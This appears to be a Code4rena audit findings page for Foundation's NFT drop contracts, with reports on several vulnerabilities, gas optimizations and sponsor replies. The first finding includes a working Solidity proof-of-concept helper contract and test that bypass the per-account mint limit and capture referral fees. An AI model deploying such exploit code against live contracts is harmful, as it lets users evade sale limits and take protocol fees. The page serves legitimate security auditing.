Platform: Code4rena
Start Date: 11/08/2022
Pot Size: $40,000 USDC
Total HM: 8
Participants: 108
Period: 4 days
Judge: hickuphh3
Total Solo HM: 2
Id: 152
League: ETH
Rank: 16/108
Findings: 4
Award: $135.30
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: itsmeSTYJ
Also found by: 0x1f8b, 0x52, 0xDjango, Ch_301, Chom, KIntern_NA, PwnedNoMore, Treasure-Seeker, auditor0517, byndooa, cccz, csanuragjain, ladboy233, nine9, shenwilly, thank_you, yixxas, zkhorse
42.8343 USDC - $42.83
NFTDropMarketFixedPriceSale enforces a mint limit per address and pays a referral fee if the referrer address is not msg.sender. However, a simple smart contract may trivially bypass the mint limit and extract the referral fee for each mint.
Smart contract callers can bypass the limitPerAccount and claim the referral fee for each mint for themselves.
Every buyer should use this little helper in order to ignore the limitPerAccount and automatically count as a buyReferrer to get a 1% discount out of the protocol fees:
// SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity ^0.8.12; import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol"; import "../../lib/forge-std/src/Test.sol"; import "../../contracts/NFTDropCollection.sol"; import "../../contracts/NFTCollectionFactory.sol"; import "../../contracts/NFTDropMarket.sol"; import "../../contracts/mocks/MockTreasury.sol"; import "../../contracts/mocks/FETHMarketMock.sol"; import "../../contracts/mocks/RoyaltyRegistry/MockRoyaltyRegistry.sol"; import "../../contracts/libraries/AddressLibrary.sol"; import "../../contracts/mixins/roles/AdminRole.sol"; import "../../contracts/FETH.sol"; contract MintHelper { function smartMint( NFTDropMarket market, address nftContract, uint256 count ) public payable { (, uint256 price, uint256 limitPerAccount, uint256 numberAvailable, bool marketCanMint) = market.getFixedPriceSale( nftContract ); require(marketCanMint, "Market is not ready to mint."); require(numberAvailable >= count, "Not enough tokens available to mint."); require(price == msg.value / count, "Expected value is count * price"); while (count != 0) { // mint this batch uint16 thisBatch = uint16(count > limitPerAccount ? limitPerAccount : count); uint256 firstTokenId = market.mintFromFixedPriceSale{ value: price * thisBatch }( address(nftContract), thisBatch, payable(msg.sender) // buyReferrer, to get the 1% discount ); // transfer the minted NFTs to the customer so that we can mint the next batch for (uint256 i = 0; i < thisBatch; ) { IERC721(nftContract).transferFrom(address(this), msg.sender, firstTokenId + i); unchecked { ++i; } } unchecked { count -= thisBatch; } } } } contract SmartBuyer is Test { address admin = makeAddr("admin"); address creator = makeAddr("creator"); uint80 price = 0.5 ether; uint16 limitPerAccount = 10; MockTreasury treasury; NFTCollectionFactory nftCollectionFactory; NFTDropCollection nftDropCollectionTemplate; NFTDropMarket nftDropMarket; FETH feth; MockRoyaltyRegistry royaltyRegistry; NFTDropCollection collection; function setUp() public { /** Pre-reqs **/ treasury = new MockTreasury(); nftCollectionFactory = new NFTCollectionFactory(address(treasury)); nftCollectionFactory.initialize(2); nftDropCollectionTemplate = new NFTDropCollection(address(nftCollectionFactory)); nftCollectionFactory.adminUpdateNFTDropCollectionImplementation(address(nftDropCollectionTemplate)); /** Deploy Market **/ // Deploy the proxy with a placeholder implementation. TransparentUpgradeableProxy dropMarketProxy = new TransparentUpgradeableProxy(address(treasury), admin, ""); feth = new FETH(payable(dropMarketProxy), payable(dropMarketProxy), 24 hours); royaltyRegistry = new MockRoyaltyRegistry(); NFTDropMarket dropMarketImplementation = new NFTDropMarket( payable(treasury), address(feth), address(royaltyRegistry) ); vm.prank(admin); dropMarketProxy.upgradeTo(address(dropMarketImplementation)); nftDropMarket = NFTDropMarket(payable(dropMarketProxy)); nftDropMarket.initialize(); vm.prank(creator); collection = NFTDropCollection( nftCollectionFactory.createNFTDropCollection( "name", "symbol", "ipfs://baseURI/", 0x0, 888, address(nftDropMarket), /* nonce */ 0 ) ); /** List for sale **/ vm.prank(creator); nftDropMarket.createFixedPriceSale(address(collection), price, limitPerAccount); } function testSmartBuy() public { // set up address buyer = makeAddr("buyer"); uint256 count = 10 * limitPerAccount; vm.deal(buyer, count * price); MintHelper helper = new MintHelper(); // when we use smartMint vm.prank(buyer); helper.smartMint{ value: count * price }(nftDropMarket, address(collection), count); // then we get the number of NFTs we wanted regardless of limitPerAccount assertEq(collection.balanceOf(buyer), count); // and we get the 1% cashback assertEq(buyer.balance, (count * price) / 100); } }
Because the limitPerAccount and the buyReferrer logic can be trivially used by sophisticated users, they should be considered for removal:
#0 - 0xlgtm
2022-08-17T03:41:04Z
There are 2 issues (bypass account limits on minting, specify another address that the buyer owns as the buyReferral) in this issue.
#1 - HardlyDifficult
2022-08-17T20:55:51Z
🌟 Selected for report: Saw-mon_and_Natalie
Also found by: 0x1f8b, 0x52, 0xDjango, 0xNazgul, 0xSmartContract, 0xSolus, 0xackermann, 0xmatt, 0xsolstars, Aymen0909, Bnke0x0, Chom, Deivitto, DevABDee, Dravee, ElKu, IllIllI, JC, Kumpa, Lambda, LeoS, MiloTruck, PwnedNoMore, ReyAdmirado, Rohan16, Rolezn, Ruhum, Sm4rty, TomJ, Treasure-Seeker, Vexjon, Waze, Yiko, __141345__, apostle0x01, auditor0517, berndartmueller, bin2chen, bobirichman, brgltd, bulej93, c3phas, carlitox477, cccz, cryptphi, csanuragjain, d3e4, danb, delfin454000, durianSausage, erictee, fatherOfBlocks, gogo, iamwhitelights, joestakey, jonatascm, ladboy233, mics, oyc_109, rbserver, ret2basic, robee, rokinot, rvierdiiev, shenwilly, sikorico, simon135, thank_you, wagmi, yash90, zeesaw, zkhorse
57.9996 USDC - $58.00
Since FETH
reverts on transfers/deposits/withdrawals to the zero address, if a drop owner intentionally or accidentally adds the zero address as a royalty recipient, token mints and payment transfers will revert when MarketFees._distributeFunds
attempts to pay creators:
// Pay the creator(s) unchecked { for (uint256 i = 0; i < creatorRecipients.length; ++i) { _sendValueWithFallbackWithdraw( creatorRecipients[i], creatorShares[i], SEND_VALUE_GAS_LIMIT_MULTIPLE_RECIPIENTS ); // Sum the total creator rev from shares // creatorShares is in ETH so creatorRev will not overflow here. creatorRev += creatorShares[i]; } }
The Manifold registry does disallow the zero address for recipients, but this may be possible for custom contracts.
Impact
Creators may accidentally brick token sales. If a malicious recipient is able to add their address to a supported royalty registry, they may be able to block token sales and payments.
Recommendation
Ignore any zero addresses in the creatorRecipients
array when processing payments:
// Pay the creator(s) unchecked { for (uint256 i = 0; i < creatorRecipients.length; ++i) { if (creatorRecipients[i] == address(0)) continue; _sendValueWithFallbackWithdraw( creatorRecipients[i], creatorShares[i], SEND_VALUE_GAS_LIMIT_MULTIPLE_RECIPIENTS ); // Sum the total creator rev from shares // creatorShares is in ETH so creatorRev will not overflow here. creatorRev += creatorShares[i]; } }
The admin of NFTCollectionFactory
may update the stored implementationNFTCollection
and implementationNFTDropCollection
by calling [adminUpdateNFTCollectionImplementation](https://github.com/code-423n4/2022-08-foundation/blob/792e00df429b0df9ee5d909a0a5a6e72bd07cf79/contracts/NFTCollectionFactory.sol#L202)
and adminUpdateNFTDropCollectionImplementation
respectively.
NFTCollectionFactory#adminUpdateNFTCollectionImplementation
function adminUpdateNFTCollectionImplementation(address _implementation) external onlyAdmin { require(_implementation.isContract(), "NFTCollectionFactory: Implementation is not a contract"); implementationNFTCollection = _implementation; unchecked { // Version cannot overflow 256 bits. versionNFTCollection++; } // The implementation is initialized when assigned so that others may not claim it as their own. INFTCollectionInitializer(_implementation).initialize( payable(address(rolesContract)), string.concat("NFT Collection Implementation v", versionNFTCollection.toString()), string.concat("NFTv", versionNFTCollection.toString()) ); emit ImplementationNFTCollectionUpdated(_implementation, versionNFTCollection); }
NFTCollectionFactory#adminUpdateNFTDropCollectionImplementation
function adminUpdateNFTDropCollectionImplementation(address _implementation) external onlyAdmin { require(_implementation.isContract(), "NFTCollectionFactory: Implementation is not a contract"); implementationNFTDropCollection = _implementation; unchecked { // Version cannot overflow 256 bits. versionNFTDropCollection++; } emit ImplementationNFTDropCollectionUpdated(_implementation, versionNFTDropCollection); // The implementation is initialized when assigned so that others may not claim it as their own. INFTDropCollectionInitializer(_implementation).initialize( payable(address(this)), string.concat("NFT Drop Collection Implementation v", versionNFTDropCollection.toString()), string.concat("NFTDropV", versionNFTDropCollection.toString()), "ipfs://bafybeibvxnuaqtvaxu26gdgly2rm4g2piu7b2tqlx2dsz6wwhqbey2gddy/", 0x1337000000000000000000000000000000000000000000000000000000001337, 1, address(0), payable(0) ); }
Note that both of these functions take the new _implementation
address as an argument, update the value in storage, and initialize it.
However, since the implementation contract itself is created outside of these functions, if it is not deployed and initialized atomically (e.g. using a deployment contract or Flashbots bundle), there is an opportunity for an attacker to frontrun intialization and claim ownership of the new implementation contract.
Recommendation
Ensure new implementation templates are deployed and initialized in a single transaction using a deployment contract or other atomic initialization mechanism.
A collection creator can frontrun the first token purchase in their collection to recreate their collection with different content.
Scenario:
NFTDropMarketFixedPriceSale.createFixedPriceSale
.NFTDropMarket.mintFromFixedPriceSale
to mint a token.NFTDropCollection.selfDestruct
, and creates a new contract at the same address with different content.Recommendation
Disallow self-destructs for collections with an active sale.
NFTCollection
uses _mint
rather than _safeMint
to create new tokens. This seems like an intentional design decision (so we are reporting it as a noncritical finding), but note that this will not check that the token receiver implements onERC721Received
, and could result in tokens minted to smart contract addresses that cannot transfer them.
function _mint(string calldata tokenCID) private onlyCreator returns (uint256 tokenId) { require(bytes(tokenCID).length != 0, "NFTCollection: tokenCID is required"); require(!cidToMinted[tokenCID], "NFTCollection: NFT was already minted"); unchecked { // Number of tokens cannot overflow 256 bits. tokenId = ++latestTokenId; require(maxTokenId == 0 || tokenId <= maxTokenId, "NFTCollection: Max token count has already been minted"); cidToMinted[tokenCID] = true; _tokenCIDs[tokenId] = tokenCID; _mint(msg.sender, tokenId); emit Minted(msg.sender, tokenId, tokenCID, tokenCID); } }
The metadata included in the template drop collection is invalid JSON. (Valid JSON keys must be encoded with double quotes).
{ name: "NFT Drop Collection Implementation", description: "Sample content for NFT drop collections", image: "ipfs://QmdB9mCxSsbybucRqtbBGGZf88pSoaJnuQ25FS3GJQvVAx/nft.png" }
curl -s https://gateway.pinata.cloud/ipfs/bafybeibvxnuaqtvaxu26gdgly2rm4g2piu7b2tqlx2dsz6wwhqbey2gddy/1.json | tee 1.json | jq . parse error: Invalid literal at line 2, column 7
Thanks for providing a preset Foundry environment for exploring your contracts. Setting up test environments to validate findings and explore is often the hardest part of these contests, and we really appreciated having a starting point with this project.
BytesLibrary.replaceAtIf
appears to be unused. Consider removing this function.
_baseURI
is used as a parameter in a few functions in NFTDropCollection
, but shadows the _baseURI
state variable inherited from ERC721Upgradeable
. Consider renaming these parameters baseURI_
to avoid ambiguity.
modifier validBaseURI(string calldata _baseURI) { require(bytes(_baseURI).length > 0, "NFTDropCollection: `_baseURI` must be set"); _; }
function reveal(string calldata _baseURI) external onlyAdmin validBaseURI(_baseURI) onlyWhileUnrevealed { // `postRevealBaseURIHash` == 0 indicates that the collection has been revealed. delete postRevealBaseURIHash; // Set the new base URI. baseURI = _baseURI; emit URIUpdated(_baseURI, ""); }
function updatePreRevealContent(string calldata _baseURI, bytes32 _postRevealBaseURIHash) external validBaseURI(_baseURI) onlyWhileUnrevealed onlyAdmin { require(_postRevealBaseURIHash != bytes32(0), "NFTDropCollection: use `reveal` instead"); postRevealBaseURIHash = _postRevealBaseURIHash; baseURI = _baseURI; emit URIUpdated(baseURI, postRevealBaseURIHash); }
This natspec comment on NFTCollectionFactory
should refer to ERC-1167 rather than ERC-1165:
* @dev This creates and initializes an ERC-1165 minimal proxy pointing to a NFT collection contract implementation.
#0 - HardlyDifficult
2022-08-18T17:16:56Z
Zero address in royalty recipients will cause payments to revert
Invalid. ETH transfers will not revert when sending to the 0 address.
Factory template upgrades must be atomically initialized
Invalid. Since these functions call initialize, if the template was already initialized the call would revert. No harm done (other than lost gas maybe).
Collection creator can frontrun purchase and swap pre-revealed content
Valid. This is an interesting point. Agree it's low risk but will discuss with the team.
Use safeMint
Agree will fix - for context see our response here.
Invalid JSON metadata in example NFTDrop
Wow, good catch. We wouldn't want to ensure creators to format the file like this. Will fix.
Remove unused function
Fair feedback. This function is used by another contract which was excluded from this contest.
Shadowed variable name
Agree, will fix.
ERC-1165 should be ERC-1167
Agree, will fix.
🌟 Selected for report: Dravee
Also found by: 0x040, 0x1f8b, 0xDjango, 0xHarry, 0xNazgul, 0xSmartContract, 0xbepresent, 0xkatana, Amithuddar, Aymen0909, Bnke0x0, Chom, CodingNameKiki, Deivitto, DevABDee, Diraco, ElKu, Fitraldys, Funen, IllIllI, JC, LeoS, Metatron, MiloTruck, Noah3o6, ReyAdmirado, Rohan16, Rolezn, Saw-mon_and_Natalie, Sm4rty, SpaceCake, TomJ, Tomio, Trabajo_de_mates, Waze, Yiko, __141345__, ajtra, apostle0x01, bobirichman, brgltd, bulej93, c3phas, cRat1st0s, carlitox477, d3e4, durianSausage, erictee, fatherOfBlocks, gerdusx, gogo, hakerbaya, ignacio, jag, joestakey, ladboy233, medikko, mics, newfork01, oyc_109, pfapostol, robee, rvierdiiev, sach1r0, saian, samruna, sikorico, simon135, wagmi, zeesaw, zkhorse, zuhaibmohd
21.2979 USDC - $21.30
NFTCollectionFactory
generates a unique salt per collection by concatenating the creator address and a nonce and returning the hash of the concatenated values.
NFTCollectionFactory._getSalt
:
function _getSalt(address creator, uint256 nonce) private pure returns (bytes32) { return keccak256(abi.encodePacked(creator, nonce)); }
If you are willing to constrain the nonce
value to a uint96
, you can save a bit of gas by omitting the keccak
hash and packing the creator
address and nonce
together in a bytes32
. Since this is paid by creators on every new drop and collection, small savings here may add up.
Original implementation: 22974 gas.
Optimized: 22457 gas:
function _getSalt(address creator, uint96 nonce) public pure returns (bytes32) { return bytes32(uint256((uint256(nonce) << 160) | uint160(creator))); }
BytesLibrary.startsWith
BytesLibrary.startsWith
checks whether the given bytes callData
begin with a provided bytes4 functionSig
. It performs this check by iterating over each individual byte:
Original implementation (~2150 gas):
function startsWith(bytes memory callData, bytes4 functionSig) internal pure returns (bool) { // A signature is 4 bytes long if (callData.length < 4) { return false; } unchecked { for (uint256 i = 0; i < 4; ++i) { if (callData[i] != functionSig[i]) { return false; } } } return true; } }
Running 3 tests for test/foundry/BytesLibrary.t.sol:TestBytesLibrary [PASS] testStartsWithFullString() (gas: 2199) [PASS] testStartsWithPrefix() (gas: 2145) [PASS] testStartsWithTooShort() (gas: 642) Test result: ok. 3 passed; 0 failed; finished in 3.11ms
There are a few options to optimize this function, depending on whether you want to use inline assembly.
No assembly required: cast callData
to bytes4
It’s possible to convert callData
to a bytes4
(truncating the remainder), and compare directly with functionSig
. This saves about 850 gas.
function startsWith(bytes memory callData, bytes4 functionSig) internal pure returns (bool) { // A signature is 4 bytes long if (callData.length < 4) { return false; } return bytes4(callData) == functionSig; }
Running 3 tests for test/foundry/BytesLibrary.t.sol:TestBytesLibrary [PASS] testStartsWithFullString() (gas: 1359) [PASS] testStartsWithPrefix() (gas: 1305) [PASS] testStartsWithTooShort() (gas: 642) Test result: ok. 3 passed; 0 failed; finished in 426.58µs
Some assembly required: cast callData
to bytes4
in assembly
If you’re up for some low level assembly, you can perform the same truncation more cheaply by assigning callData
to a bytes4
in assembly. This saves about 1300 gas.
function startsWith(bytes memory callData, bytes4 functionSig) internal pure returns (bool) { // A signature is 4 bytes long if (callData.length < 4) { return false; } bytes4 sigBytes; assembly { sigBytes := mload(add(callData, 0x20)) } return sigBytes == functionSig; } }
Running 3 tests for test/foundry/BytesLibrary.t.sol:TestBytesLibrary [PASS] testStartsWithFullString() (gas: 894) [PASS] testStartsWithPrefix() (gas: 840) [PASS] testStartsWithTooShort() (gas: 642) Test result: ok. 3 passed; 0 failed; finished in 3.23ms
Assembly required: perform comparison in assembly
If you really want to show off, you can perform the whole comparison in assembly and save an additional 50-ish gas:
function startsWith(bytes memory callData, bytes4 functionSig) internal pure returns (bool sigMatches) { // A signature is 4 bytes long if (callData.length < 4) { return false; } assembly { sigMatches := eq( and( // Take bitwise and of... shl(0xe0, 0xffffffff), // Mask over first 4 bytes of bytes32 mload(add(callData, 0x20)) // First word after callData length ), functionSig // Does it eq functionSig? ) } }
Running 3 tests for test/foundry/BytesLibrary.t.sol:TestBytesLibrary [PASS] testStartsWithFullString() (gas: 849) [PASS] testStartsWithPrefix() (gas: 795) [PASS] testStartsWithTooShort() (gas: 642)
(This last one is probably not worth it, but it was fun to work out).
#0 - HardlyDifficult
2022-08-19T15:50:55Z
Love this report -- thanks for the feedback.
Omit hash in contract salts
This is an interesting suggestion! We'll test it out.
Optimize BytesLibrary.startsWith
Great suggestions, will consider these.
#1 - horsefacts
2022-08-19T20:00:23Z
Thanks! FYI, Saw-mon & Natalie came up with a cleaner, cheaper assembly startsWith
in their submission here. You can just mload
the 4 signature bytes and don't need to use a mask.